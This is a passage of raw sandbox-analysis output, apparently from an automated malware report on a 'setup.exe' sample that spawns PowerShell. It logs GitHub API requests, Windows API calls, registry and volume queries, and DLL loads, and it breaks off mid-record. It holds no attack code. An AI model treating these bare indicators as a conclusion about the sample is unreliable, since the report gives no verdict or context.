AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP") Found string "GET /repositories/601538369/branches HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Accept-Encoding: gzip, deflateHost: api.github.com" (Indicator: "github.com"; File: "PCAP") Found string "GET /repos/grafana/grafana/branches HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110Host: api.github.comAccept-Encoding: gzip, deflate" (Indicator: "github.com"; File: "PCAP")30:T13c9,"setup.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007752) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006612) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006612) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac2cd4de010000000000000000000051ed4f90fc7f000000000000de0100000000000000000000352ae38cd8de00002a00000000000000f081bed3de0100008fec4f90fc7f0000e0ac2cd4de010000e0ac2cd4de010000000000000000000000000000fc7f0000ffffff7f460e000000000000000000000000000000000000d8ce20d4de0100002a0000000000000069c3d9d3de0100003100000000000000e803000000000000ec03000000000000110001100000000000d6b7542000000003a31390fc7f000000d6b7542000000000000000000000002b00000000000000000000000000000020b0dfd3de010000b43fded3de010000e0ce20d4 (UID: 00000000-00006612) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000040000000000000000000b9b9de0100000b8e4d90fc7f00000000b9b9de01000002000000de010000380000000000000040000000000000003003b9b9de01000008e2a855200000000100000000000000030000000000000001000000000000001600000000000000201080b9de0100000000000000000000000080b9de01000000c06d542000000000000000000000000100000001000000800187b9de010000800000000000000004000000000000000000000000000000f8c98db9de01000004000000000000003800000000000000f0981290fc7f00003800000000000000380000000000000080e3a85520000000c00c425afc7f000000000000 (UID: 00000000-00006612) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000d0b0e479fc7f0000070000000000000000000000000000000100000000000000f0e2b9b9de010000000000000000000000aa6fd5de0100004c981290fc7f0000f0c56fd5de010000b3ce385afc7f000000af6fd5de010000004fe479fc7f0000d0b0e479fc7f00000000000000000000000000000000000000af6fd5de010000f0e2b9b9de01000000d56fd5de010000d8e3a855200000004c981290fc7f00000100000000000000d8e3a8552000000000d56fd5de01000000af6fd5de010000010000000000000002bc385afc7f0000d0b16fd5de01000070ff6dd5de010000feffffff040000007df0e379fc7f0000c0d36fd5 (UID: 00000000-00006612) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000070000000000000000000000000000000100000000000000f0e2b9b9de010000000000000000000000aa6fd5de0100004c981290fc7f0000f0ce6fd5de010000b3ce385afc7f000050ad6fd5de010000384fe479fc7f0000d0b0e479fc7f00000000000000000000000000000000000050ad6fd5de010000f0e2b9b9de01000000d56fd5de010000d0e3a855200000004c981290fc7f00000100000000000000d0e3a8552000000000d56fd5de01000050ad6fd5de010000010000000000000002bc385afc7f0000000000000000000070ff6dd5de010000d0b16fd504000000fefffffffffffffff0e2b9b9de0100007df0e379fc7f000000000000 (UID: 00000000-00006612) "powershell.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006612)31:T5f9,EnumSystemLocalesW@KERNEL32.dll at 14636-2944-0042CA14 GetUserDefaultLCID@KERNEL32.dll at 14636-2948-0042CF64 GetLocaleInfoW@KERNEL32.dll at 14636-2993-0043331E EnumSystemLocalesW@KERNEL32.dll at 14636-2996-004333C5 EnumSystemLocalesW@KERNEL32.dll at 14636-2997-00433410 EnumSystemLocalesW@KERNEL32.dll at 14636-2999-004334AB GetLocaleInfoW@KERNEL32.dll at 14636-3000-00433536 GetLocaleInfoW@KERNEL32.dll at 14636-3001-004339B6 GetLocaleInfoW@KERNEL32.dll at 14636-3002-00433789 GetLocaleInfoW@KERNEL32.dll at 14636-3003-004338B2 GetUserDefaultLCID@KERNEL32.dll at 14636-3005-00433A8E GetLocaleInfoEx@KERNEL32.DLL at 00000000-00007752-15883-1708-00FA239E GetLocaleInfoW@KERNEL32.DLL at 00000000-00007752-15883-2112-00FACF23 EnumSystemLocalesW@KERNEL32.DLL at 00000000-00007752-15883-2152-00FACA14 GetUserDefaultLCID@KERNEL32.DLL at 00000000-00007752-15883-2156-00FACF64 GetLocaleInfoW@KERNEL32.DLL at 00000000-00007752-15883-2220-00FB331E EnumSystemLocalesW@KERNEL32.DLL at 00000000-00007752-15883-2223-00FB33C5 EnumSystemLocalesW@KERNEL32.DLL at 00000000-00007752-15883-2224-00FB3410 EnumSystemLocalesW@KERNEL32.DLL at 00000000-00007752-15883-2226-00FB34AB GetLocaleInfoW@KERNEL32.DLL at 00000000-00007752-15883-2227-00FB3536 GetLocaleInfoW@KERNEL32.DLL at 00000000-00007752-15883-2228-00FB39B6 GetLocaleInfoW@KERNEL32.DLL at 00000000-00007752-15883-2229-00FB3789 GetLocaleInfoW@KERNEL32.DLL at 00000000-00007752-15883-2230-00FB38B2 GetUserDefaultLCID@KERNEL32.DLL at 00000000-00007752-15883-2232-00FB3A8E32:T4db,Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; File: "setup.exe") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; File: "setup.exe") Found reference to API "GetVersion" (Indicator: "GetVersion"; File: "setup.exe") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; Source: "00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp")33:Tbec,"setup.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "SEARCHLIST"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") "setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "PROFILENAMESERVER"; Value: "")34:T6a2,"powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006612-00000C17-2319152902 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00006612-00000C17-2320050401 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00006612-00000C17-2320635278 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006612-00000C17-2320889333 "powershell.exe" queries volume information of "C:\share" at 00000000-00006612-00000C17-2320890886 "powershell.exe" queries volume information of "C:\share" at 00000000-00006612-00000C17-2320968971 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006612-00000C17-2321804994 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006612-00000C17-2321944879 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006612-00000C17-232199880335:T35b5,"setup.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007752) "setup.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007752) "setup.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007752) "setup.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007752) "setup.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00007752) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00006612) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00006612)36:Tb8ca,"setup.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007752) "setup.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007752) "setup.exe" 